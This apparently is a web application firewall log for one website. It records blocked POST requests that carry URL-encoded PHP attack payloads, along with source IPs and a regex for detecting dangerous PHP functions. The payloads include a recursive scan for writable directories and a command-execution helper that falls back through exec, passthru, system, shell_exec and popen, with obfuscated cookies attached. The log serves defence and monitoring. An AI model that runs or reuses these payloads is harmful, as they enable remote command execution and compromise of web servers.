0%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 22:23:02","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EW:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27php_http_proxy%27%2C%27icalendar_import%27%2C%27incfacebook%27%2C%27gateways3.inc%27%2C%27u2uLib.class%27%2C%27control.tpl%27%2C%27details_up%27%2C%27com_rd_rss%27%2C%27group_pricing%27%2C%27com_virtuemart%27%2C%27UniqueAppender%27%2C%27pc_settings%27%2C%27HTMLModule%27%2C%27makebookmark%27%2C%27template_select%27%2C%27theme_functions%27%2C%27resources%27%2C%27functions_search%27%2C%27core.write_file%27%2C%27picEditor%27%2C%27home_July052010%27%2C%27formpassword%27%2C%27URIParser%27%2C%27mod_online%27%2C%27banners.bak%27%2C%27db_routines.inc%27%2C%27freesansbi%27%2C%27index_enc_ion%27%2C%27quiz_responses%27%2C%27DataControl%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEIpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3349\n\nEW=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27php_http_proxy%27%2C%27icalendar_import%27%2C%27incfacebook%27%2C%27gateways3.inc%27%2C%27u2uLib.class%27%2C%27control.tpl%27%2C%27details_up%27%2C%27com_rd_rss%27%2C%27group_pricing%27%2C%27com_virtuemart%27%2C%27UniqueAppender%27%2C%27pc_settings%27%2C%27HTMLModule%27%2C%27makebookmark%27%2C%27template_select%27%2C%27theme_functions%27%2C%27resources%27%2C%27functions_search%27%2C%27core.write_file%27%2C%27picEditor%27%2C%27home_July052010%27%2C%27formpassword%27%2C%27URIParser%27%2C%27mod_online%27%2C%27banners.bak%27%2C%27db_routines.inc%27%2C%27freesansbi%27%2C%27index_enc_ion%27%2C%27quiz_responses%27%2C%27DataControl%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 22:23:02","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","60秒以内累计超过6次以上非法请求,封锁1440秒","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEIpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3349\n\nEW=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27php_http_proxy%27%2C%27icalendar_import%27%2C%27incfacebook%27%2C%27gateways3.inc%27%2C%27u2uLib.class%27%2C%27control.tpl%27%2C%27details_up%27%2C%27com_rd_rss%27%2C%27group_pricing%27%2C%27com_virtuemart%27%2C%27UniqueAppender%27%2C%27pc_settings%27%2C%27HTMLModule%27%2C%27makebookmark%27%2C%27template_select%27%2C%27theme_functions%27%2C%27resources%27%2C%27functions_search%27%2C%27core.write_file%27%2C%27picEditor%27%2C%27home_July052010%27%2C%27formpassword%27%2C%27URIParser%27%2C%27mod_online%27%2C%27banners.bak%27%2C%27db_routines.inc%27%2C%27freesansbi%27%2C%27index_enc_ion%27%2C%27quiz_responses%27%2C%27DataControl%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 22:24:01","192.144.82.212","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vA:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27php_http_proxy%27%2C%27icalendar_import%27%2C%27incfacebook%27%2C%27gateways3.inc%27%2C%27u2uLib.class%27%2C%27control.tpl%27%2C%27details_up%27%2C%27com_rd_rss%27%2C%27group_pricing%27%2C%27com_virtuemart%27%2C%27UniqueAppender%27%2C%27pc_settings%27%2C%27HTMLModule%27%2C%27makebookmark%27%2C%27template_select%27%2C%27theme_functions%27%2C%27resources%27%2C%27functions_search%27%2C%27core.write_file%27%2C%27picEditor%27%2C%27home_July052010%27%2C%27formpassword%27%2C%27URIParser%27%2C%27mod_online%27%2C%27banners.bak%27%2C%27db_routines.inc%27%2C%27freesansbi%27%2C%27index_enc_ion%27%2C%27quiz_responses%27%2C%27DataControl%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-length:3349\n\nvA=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27php_http_proxy%27%2C%27icalendar_import%27%2C%27incfacebook%27%2C%27gateways3.inc%27%2C%27u2uLib.class%27%2C%27control.tpl%27%2C%27details_up%27%2C%27com_rd_rss%27%2C%27group_pricing%27%2C%27com_virtuemart%27%2C%27UniqueAppender%27%2C%27pc_settings%27%2C%27HTMLModule%27%2C%27makebookmark%27%2C%27template_select%27%2C%27theme_functions%27%2C%27resources%27%2C%27functions_search%27%2C%27core.write_file%27%2C%27picEditor%27%2C%27home_July052010%27%2C%27formpassword%27%2C%27URIParser%27%2C%27mod_online%27%2C%27banners.bak%27%2C%27db_routines.inc%27%2C%27freesansbi%27%2C%27index_enc_ion%27%2C%27quiz_responses%27%2C%27DataControl%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 22:24:32","167.172.79.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rr:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27php_http_proxy%27%2C%27icalendar_import%27%2C%27incfacebook%27%2C%27gateways3.inc%27%2C%27u2uLib.class%27%2C%27control.tpl%27%2C%27details_up%27%2C%27com_rd_rss%27%2C%27group_pricing%27%2C%27com_virtuemart%27%2C%27UniqueAppender%27%2C%27pc_settings%27%2C%27HTMLModule%27%2C%27makebookmark%27%2C%27template_select%27%2C%27theme_functions%27%2C%27resources%27%2C%27functions_search%27%2C%27core.write_file%27%2C%27picEditor%27%2C%27home_July052010%27%2C%27formpassword%27%2C%27URIParser%27%2C%27mod_online%27%2C%27banners.bak%27%2C%27db_routines.inc%27%2C%27freesansbi%27%2C%27index_enc_ion%27%2C%27quiz_responses%27%2C%27DataControl%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpaVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-length:3349\n\nrr=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27php_http_proxy%27%2C%27icalendar_import%27%2C%27incfacebook%27%2C%27gateways3.inc%27%2C%27u2uLib.class%27%2C%27control.tpl%27%2C%27details_up%27%2C%27com_rd_rss%27%2C%27group_pricing%27%2C%27com_virtuemart%27%2C%27UniqueAppender%27%2C%27pc_settings%27%2C%27HTMLModule%27%2C%27makebookmark%27%2C%27template_select%27%2C%27theme_functions%27%2C%27resources%27%2C%27functions_search%27%2C%27core.write_file%27%2C%27picEditor%27%2C%27home_July052010%27%2C%27formpassword%27%2C%27URIParser%27%2C%27mod_online%27%2C%27banners.bak%27%2C%27db_routines.inc%27%2C%27freesansbi%27%2C%27index_enc_ion%27%2C%27quiz_responses%27%2C%27DataControl%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
